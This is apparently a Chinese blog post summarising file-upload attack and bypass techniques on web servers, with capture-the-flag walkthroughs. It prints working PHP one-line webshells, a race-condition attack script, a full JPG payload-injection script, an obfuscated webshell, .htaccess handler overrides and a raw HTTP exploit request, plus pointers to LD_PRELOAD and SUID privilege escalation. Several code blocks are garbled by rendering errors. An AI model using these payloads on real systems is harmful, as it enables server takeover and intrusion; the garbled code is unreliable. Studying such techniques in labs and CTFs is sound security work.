文件上传总结

攻击与绕过方式

一、条件竞争

攻击原理:在上传文件的同时利用代码逻辑中的时序问题(如 unlink() 删除操作)触发条件竞争,从而实现上传恶意文件并绕过限制。

示例测试源码:

以下为测试文件上传功能的 PHP 源码:
Filename: <?php if (!empty(_FILES)) { move_uploaded_file(_FILES['file']['tmp_name'],_FILES\['file'\]\['name'\]); unlink(_FILES['file']['name']); echo "upload fail"; } ?> 木马文件内容: 新建一个php木马名为jignzheng.php,内容如下: <?php fputs(fopen('jz.php','w'),'<?php @eval($_REQUEST[1])?>'); ?> 这个马的作用是创建一个名为jz.php的文件,并将一句话木马写入。 攻击脚本: 编写以下 Python 脚本,通过条件竞争的方式,不断访问目标的 jingzhing.php 文件,以触发条件竞争,当用户通过http请求访问.php文件时,web服务器会将该文件传给php解析器解析并执行文件中的代码,将jz.php一句话木马写入到目标目录中: import requests url="http://192.168.1.11/jingzheng/jingzheng.php" check_file="http://192.168.1.11/jingzheng/jz.php" while True: response = requests.get(url) check_response=requests.get(check_file) if check_response.status_code==200: print("success") 使用流程: 先运行python脚本,然后再上传zhengjign.php木马利用Bp中的intruder模块进行条件竞争。之后可以看到同目录下会不断地短暂出现上传的木马jingzheng.php,并且jz.php成功写入。

二、二次渲染结合文件包含绕过

攻击原理:利用图片格式的二次渲染漏洞配合文件包含漏洞解析 PHP 木马代码

1、gif

渲染前后的两张 GIF,没有发生变化的数据块部分直接插入 Webshell 即可

2、png

PNG需要将数据写入到 PLTE 数据块 或者 IDAT 数据块

3、jpg

JPG 需要使用脚本将数据插入到特定的数据块,而且可能会不成功,所以需要多次尝试

脚本如下:
<?php miniPayload = "\\\_REQUEST[1]);?>";

if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {

die('php-gd is not installed');

}

if(!isset($argv[1])) {

die('php jpg_payload.php <jpg_name.jpg>');

}

set_error_handler("custom_error_handler");

for(pad = 0; pad < 1024; $pad++) {

nullbytePayloadSize = pad;
d i s = n e w D a t a I n p u t S t r e a m ( dis = new DataInputStream( dis=newDataInputStream(argv[1]);
o u t S t r e a m = f i l e g e t c o n t e n t s ( outStream = file_get_contents( outStream=filegetcontents(argv[1]);

$extraBytes = 0;

$correctImage = TRUE;

复制代码
if($dis->readShort() != 0xFFD8) {
    die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
    $marker = $dis->readByte();
    $size = $dis->readShort() - 2;
    $dis->skip($size);
    if($marker === 0xDA) {
        $startPos = $dis->seek();
        $outStreamTmp =
            substr($outStream, 0, $startPos) .
            $miniPayload .
            str_repeat("\0",$nullbytePayloadSize) .
            substr($outStream, $startPos);
        checkImage('_'.$argv[1], $outStreamTmp, TRUE);
        if($extraBytes !== 0) {
            while((!$dis->eof())) {
                if($dis->readByte() === 0xFF) {
                    if($dis->readByte !== 0x00) {
                        break;
                    }
                }
            }
            $stopPos = $dis->seek() - 2;
            $imageStreamSize = $stopPos - $startPos;
            $outStream =
                substr($outStream, 0, $startPos) .
                $miniPayload .
                substr(
                    str_repeat("\0",$nullbytePayloadSize).
                    substr($outStream, $startPos, $imageStreamSize),
                    0,
                    $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                substr($outStream, $stopPos);
        } elseif($correctImage) {
            $outStream = $outStreamTmp;
        } else {
            break;
        }
        if(checkImage('payload_'.$argv[1], $outStream)) {
            die('Success!');
        } else {
            break;
        }
    }
}

}

unlink('payload_'.$argv[1]);

die('Something's wrong');

function checkImage(filename, data, $unlink = FALSE) {

global c o r r e c t I m a g e ; f i l e p u t c o n t e n t s ( correctImage; file_put_contents( correctImage;fileputcontents(filename, $data);
c o r r e c t I m a g e = T R U E ; i m a g e c r e a t e f r o m j p e g ( correctImage = TRUE; imagecreatefromjpeg( correctImage=TRUE;imagecreatefromjpeg(filename);

if( u n l i n k ) u n l i n k ( unlink) unlink( unlink)unlink(filename);

return $correctImage;

}

function custom_error_handler(errno, errstr, errfile, errline) {

global extraBytes, correctImage;

$correctImage = FALSE;

if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, KaTeX parse error: Expected '}', got 'EOF' at end of input: ... if(isset(m[1])) {
e x t r a B y t e s = ( i n t ) extraBytes = (int) extraBytes=(int)m[1];

}

}

}

class DataInputStream {

private $binData;

private $order;

private $size;

复制代码
public function __construct($filename, $order = false, $fromString = false) {
    $this->binData = '';
    $this->order = $order;
    if(!$fromString) {
        if(!file_exists($filename) || !is_file($filename))
            die('File not exists ['.$filename.']');
        $this->binData = file_get_contents($filename);
    } else {
        $this->binData = $filename;
    }
    $this->size = strlen($this->binData);
}

public function seek() {
    return ($this->size - strlen($this->binData));
}

public function skip($skip) {
    $this->binData = substr($this->binData, $skip);
}

public function readByte() {
    if($this->eof()) {
        die('End Of File');
    }
    $byte = substr($this->binData, 0, 1);
    $this->binData = substr($this->binData, 1);
    return ord($byte);
}

public function readShort() {
    if(strlen($this->binData) < 2) {
        die('End Of File');
    }
    $short = substr($this->binData, 0, 2);
    $this->binData = substr($this->binData, 2);
    if($this->order) {
        $short = (ord($short[1]) << 8) + ord($short[0]);
    } else {
        $short = (ord($short[0]) << 8) + ord($short[1]);
    }
    return $short;
}

public function eof() {
    return !$this->binData||(strlen($this->binData) === 0);
}

}

?>

将脚本保存为jpg_payload.php,使用命令:php jpg_payload.php jpg_name.jpg

二次渲染木马使用方法:

配合文件包含,利用文件包含漏洞解析图片马中的php代码,获取webshell

以upload-labs第17关为例,随便上传一个二次渲染的图片,然后利用include.php中的文件包含漏洞。

使用蚁剑进行连接即可:

http://192.168.1.11/upload-labs-master/include.php?file=upload/27740.gif

三、.htaccess解析绕过

攻击原理:.htaccess 是 Apache HTTP 服务器的配置文件,作用范围通常是其所在目录及子目录。它可以用来控制访问权限、重定向规则、URL 重写、MIME 类型设置等。

攻击者可以通过上传 .htaccess 文件,修改服务器的默认行为,来绕过限制、执行恶意代码或访问敏感资源。

将特定后缀文件解析成php,这里将.jpg后缀文件强制解析成php脚本

AddType application/x-httpd-php .jpg

<FilesMatch "jpg">

SetHandler application/x-httpd-php

将所有文件解析为 PHP

ForceType application/x-httpd-php

然后再上传一个jpg后缀的木马就可以了,蚁剑连接时候也是使用jpg结尾的文件。

有时候为了绕过,直接在内容头前面加GIF89a会报错500(出现语法错误)。

#define width 1

#define height 1

<FilesMatch "hey.hey">

SetHandler application/x-httpd-php

四、文件后缀名绕过

1、文件特殊后缀名+大小写绕过

语言 默认可解析后缀 绕过方法(盲猜可解析后缀)

php .php .html .htm 【apache】 php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml

asp.net 【IIS】 asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr

jsp *.jsp *.jspx 【tomcat】 jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml

2、:: D A T A 绕过 : : DATA绕过 :: DATA绕过::DATA是NTFS流类型的一种

在windwos系统中,如果上传文件名为xxx.php:: D A T A ,会在服务器上生成一个 x x x . p h p 文件,其内容与上传的文件内容相同,并且会被解析。示例:利用 B p 抓包截断 h t t p 请求之后,在文件后缀名处添加 : : DATA,会在服务器上生成一个xxx.php文件,其内容与上传的文件内容相同,并且会被解析。 示例: 利用Bp抓包截断http请求之后,在文件后缀名处添加:: DATA,会在服务器上生成一个xxx.php文件,其内容与上传的文件内容相同,并且会被解析。示例:利用Bp抓包截断http请求之后,在文件后缀名处添加::DATA即可

3、双后缀名绕过

漏洞背景:文件上传的源代码过滤部分,会将文件名称中的敏感字符进行清除,但只做了一次过滤

示例:

利用Bp抓包截断http请求之后,a.php==>a.pphphp

4、点绕过

windows系统下,文件后缀名最后一个点会被自动去除

linux系统下,文化后缀名最后一个点不会被自动去除

所以在windows系统下利用bp截断http请求,在上传文件后缀后加.绕过上传

例如: demo.php.

5、空格绕过

windows系统下,对于文件名【demo.php(空格)】会被当作空处理,检测代码不能自动删除空格,从而绕过黑名单。文件上传后,会自动删除空格,从而绕过

五、文件头绕过

攻击原理:在浏览器上传文件到服务器时白名单会对文件头进行检测,在上传的木马内容前面加上特定的文件头即可绕过前端验证

常用的图片文件头:

jpg FFD8FFE000104A464946 ÿØÿà...JFIF

png 89504E470D0A1A0A %PNG...

gif 474946383961 GIF89a

一般使用gif

六、短标签绕过

攻击原理:利用 PHP 短标签(<? 或 <?=)执行代码,需服务器支持短标签配置
<? @eval($_REQUEST['1']); ?>

<% echo "Hello, World!"; %> //需要在php.ini中开启asp_tags选项

七、MIME(Content-Type)绕过

攻击原理:HTTP协议规定上传资源时,需要在headers中加上MIMETYPE(Content-Type)来识别文件类型,通过修改该字段内容绕过检测

将Content-Type: application/octet-stream修改为Content-Type: image/jepg即可,如果限制其他文件类型,修改成对应的Mime类型即可

文件后缀 Mime类型 说明

.gif 或.png image/gif(image/png) GIF图形/PNG图片

.jpeg或.jpg image/jpeg JPEG图形

.txt text/plain 普通文本

.exe application/octet-stream 下载文件类型

八、00截断

攻击原理:无论是0x00还是%00最终都会被解析成chr(0) 而0对于的字符是NULL,即空字符。当一个字符串中存在空字符时,空字符后面的字符会被丢弃(即终止读取)。

例如:文件1.php.jpg插入空字符变成1.php0x00.jpg,解析之后只剩1.php

使用:

1、在上传文件后缀名的地方使用%00绕过前端验证:1.php==>1.php%00.jpg

2、在文件路径处使用%00绕过后端验证:uploads/==>uploads/xxx.php%00

九、垃圾字符绕过

攻击原理:在上传的数据中添加大量无用字符进行绕过检测逻辑

或者在参数中添加大量无用字符进行参数污染绕过

十、中间件解析漏洞

1、IIS解析漏洞

在IIS6版本中,当攻击者访问http://www.test.com/bitsec.php/xxx.jpg这样的url时,服务器会默认将PHP目录下的文件解析为php文件。因此虽然文件后缀为jpg,但依然会被作为PHP执行。

在IIS5和IIS6版本中,当攻击者访问http://www.test.com/bitsec.php;.jpg这样的url时,服务器会默认不解析";"后面的内容,因此bitsec.php;.jpg就被作为bitsec.php解析执行。

2、Apache解析漏洞

1.一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错。

2.CVE-2017-15715,这个漏洞利用方式就是上传一个文件名最后带有换行符(只能是\x0A,如上传a.php,然后在burp中修改文件名为a.php\x0A),以此来绕过一些黑名单过滤。

3、Nginx解析漏洞

在Nginx 0.8.41到1.5.6的版本中,攻击者可以利用多种方式解析文件。攻击者正常访问http://www.test.com/image/bitsec.jpg时,会正常显示图片。但是当攻击者通过下面的方式进行访问时,就被解析为PHP文件。

http://www.test.com/image/bitsec.jpg/bitsec.php (目录解析)

http://www.test.com/image/bitsec.jpg.php (截断解析)

http://www.test.com/image/bitsec.jpg \0.php (截断解析)

十一、构造绕过

??_x0010_JFIF
<?=a='sys';b='tem';funcName=a.b;x='funcName';$$x($_REQUEST[1]);?>

十二、Content-Disposition绕过

攻击原理:Content-Disposition是HTTP协议中的一个头部字段,用来描述内容是直接展示还是以附件的形式下载,通过修改该字段影响服务器对文件的解析。

格式:

Content-Disposition: disposition-type; parameter1=value1; parameter2=value2

Content-Disposition: form-data; name="uploaded"; filename="muma.php"

绕过思路:

● 将form-data改为~form-data

Content-Disposition: ~form-data; name="uploaded"; filename="muma.php"

● 替换大小写

Content-Disposition: form-data; name="uploaded"; filename="muma.php"

Content-Type: application/octet-stream

将Content-Disposition、form-data、Content-Type中的字母进行大小写替换

● 增减空格

Content-Disposition: form-data; name="uploaded"; filename="muma.php"

Content-Type: application/octet-stream

将Content-Disposition: form-data 冒号后面 增加或减少一个空格

将form-data; name="file"; 分号后面 增加或减少一个空格

将 Content-Type: application/octet-stream 冒号后面 增加一个空格

将Content-Disposition修改为 Content- Disposition -后面加空格

● 字符串拼接

Content-Disposition: form-data; name="uploaded"; filename="muma.php"

将 form-data 修改为 f+orm-d+ata

● 利用HTTP headers属性名绕过

Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png

绕过内容如下:

Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png

C.php"

删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php".

● 利用HTTP headers属性值绕过

Content-Disposition: form-data; name="uploaded"; filename="muma.php"

将form-data 替换为 * 来绕过

Content-Disposition: *; name="uploaded"; filename="muma.php"

● 等效替换

原内容:

Content-Type: multipart/form-data; boundary=---------------------------471463142114

修改后:

Content-Type: multipart/form-data; boundary =---------------------------471463142114

在boundary后面加入空格即可

● 增减回车

原内容:

Content-Disposition: form-data; name="up_picture"; filename="muma.php"

添加回车

Content-Disposition: form-data; name="up_picture"; filename="muma.php"

十三、突破突破大小限制(getimagesize)

.htaccess

#define width 1

#define height 1

<FilesMatch "hey.hey">

SetHandler application/x-httpd-php

hey.hey

#define width 1

#define height 1
<?php eval($_REQUEST[1]);?>

题目练习

SWPUCTF 2021 新生赛\]easyupload1.0 MIME(Content-Type)绕过 限制了Content-Type,修改为Content-Type: image/jpeg即可 写入的一句话木马 \ 获取flag: 查看phpinfo中的环境变量,这里使用蚁剑连接查找里面的flag是假的 \[SWPUCTF 2021 新生赛\]easyupload2.0 文件后缀名绕过 限制了文件后缀名,将.php后缀修改为.pht、.phtm、.phtml等都可以绕过 一句话木马同上,然后使用蚁剑进行连接 \[SWPUCTF 2021 新生赛\]easyupload3.0 .htaccess绕过 上传一个.htaccess \ SetHandler application/x-httpd-php 再上传一个.jpg后缀的木马之后连接即可。 \[强网杯 2019\]upload 蜀道山2024奶龙牌WAF 添加大量垃圾字符绕过 给了源码 \ 2 \* 1024 \* 1024) { die("文件大小超过限制!"); } $file_content = file_get_contents($file\['tmp_name'\], false, null, 0, 5000); $dangerous_patterns = \[ '/\<\\?php/i', '/\<\\?=/', '/\<\\?xml/', '/\\b(eval\|base64_decode\|exec\|shell_exec\|system\|passthru\|proc_open\|popen\|php:\\/\\/filter\|php_value\|auto_append_file\|auto_prepend_file\|include_path\|AddType)\\b/i', '/\\b(select\|insert\|update\|delete\|drop\|union\|from\|where\|having\|like\|into\|table\|set\|values)\\b/i', '/--\\s/', '/\\/\\\*\\s.\*\\\*\\//', '/#/', '/ } else { ?\> ### 你能逃出奶龙的WAF吗? 选择文件 \ 漏洞利用点1: n a m e = i s s e t ( name = isset( name=isset(_GET\['name'\]) ? G E T \[ ′ n a m e ′ \] : b a s e n a m e ( _GET\['name'\] : basename( GET\[′name′\]:basename(file\['name'\]); f i l e E x t e n s i o n = s t r t o l o w e r ( p a t h i n f o ( fileExtension = strtolower(pathinfo( fileExtension=strtolower(pathinfo(name, PATHINFO_EXTENSION)); if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false) { die("不允许上传此类文件!"); } 这段代码获取文件的拓展名,并过滤了ph和hta。 这里可以思考一下让拓展名往后移,例如:1.php.abc 漏洞利用点2: if (move_uploaded_file($_FILES\['upload_file'\]\['tmp_name'\], $new_file_name)) { echo "文件上传成功!"; } move_uploaded_file函数是php的一个内置函数,用于将上传的文件从临时目录移动到指定的目录中。 当move_uploaded_file函数的参数可控时,可以尝试/.绕过,因为该函数会忽略掉文件末尾的/. 因此可以构造save_path=1.php/. 这样file_text的值为空,就可以绕过黑名单,并且move_uploaded_file函数会忽略掉文件末尾的/. 实现保存文件为1.php 绕过方式: f i l e c o n t e n t = f i l e g e t c o n t e n t s ( file_content = file_get_contents( filecontent=filegetcontents(file\['tmp_name'\], false, null, 0, 5000); 因为只读取前5000字节进行校验,可以在一句话木马前面加上脏数据 foreach ($dangerous_patterns as KaTeX parse error: Expected '}', got 'EOF' at end of input: ...if (preg_match(pattern, $file_content)) { die("内容包含危险字符,上传被奶龙拦截!"); } } 这里的preg_match函数也可以使用PCRE回溯次数限制来绕过 并且注意文件名称由下面这段代码决定 n a m e = i s s e t ( name = isset( name=isset(_GET\['name'\]) ? G E T \[ ′ n a m e ′ \] : b a s e n a m e ( _GET\['name'\] : basename( GET\[′name′\]:basename(file\['name'\]); payload数据包: POST /?name=1.php/. HTTP/1.1 Host: gz.imxbt.cn:20116 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/* ;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------3963895074739992901366514230 Content-Length: 5770 Origin: http://gz.imxbt.cn:20116 Connection: close Referer: http://gz.imxbt.cn:20116/ Upgrade-Insecure-Requests: 1 Priority: u=0, i -----------------------------3963895074739992901366514230 Content-Disposition: form-data; name="upload_file"; filename="1.php/." Content-Type: application/octet-stream 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 \ -----------------------------3963895074739992901366514230-- \[GHCTF 2024 新生赛\]PermissionDenied(file_put_contents文件解析漏洞、SUID提权) \ 接下来使用python脚本传入文件 import requests url = "http://node6.anna.nssctf.cn:21549/" file = { "file": ("b.php%2f.", open('a.php', 'rb')) } res = requests.post(url=url, files=file) print(res.text) 接下来蚁剑连接b.php。 在根目录发现flag,但是权限为0740,无法查看 接下来想办法提权。在终端输入了一些命令发现都回显ret=127 查看phpinfo里面的disable_function,发现过滤了很多。 这里用到了LD_PRELOAD这个系统的环境变量,它允许你加载别的动态链接库,甚至覆盖正常的函数库。 当拿到webshell,却发现无法执行系统命令,并且是disable_functions禁用了命令执行函数时,就可以通过环境变量LD_PRELOAD劫持系统函数,达到执行系统命令的目的 使用bypass_disablefunc_via_LD_PRELOAD进行绕过,发现/tmp有777权限,将bypass_disablefunc_x64.so传入,再将bypass_disablefunc.php传入/var/www/html中,就能进行命令执行。 或者这里使用蚁剑的插件,然后进行SUID提权

相关推荐
孙克旭_1 小时前
PXE_Kickstart_无人值守自动化安装系统
linux·运维·自动化
虾球xz1 小时前
游戏引擎学习第268天:合并调试链表与分组
c++·学习·链表·游戏引擎
Y3174292 小时前
Python Day23 学习
python·学习
song_ly0013 小时前
深入理解软件测试覆盖率:从概念到实践
笔记·学习·测试
π大星星️3 小时前
HAProxy + Keepalived + Nginx 高可用负载均衡系统
运维·nginx·负载均衡
DIY机器人工房3 小时前
[6-2] 定时器定时中断&定时器外部时钟 江协科技学习笔记(41个知识点)
笔记·stm32·单片机·学习·江协科技
菜菜why4 小时前
AutoDL租用服务器教程
服务器
IT专业服务商4 小时前
联想 SR550 服务器,配置 RAID 5教程!
运维·服务器·windows·microsoft·硬件架构
海尔辛4 小时前
学习黑客5 分钟小白弄懂Windows Desktop GUI
windows·学习
稳联技术5 小时前
Ethercat转Profinet网关如何用“协议翻译术“打通自动化产线任督二脉
linux·服务器·网络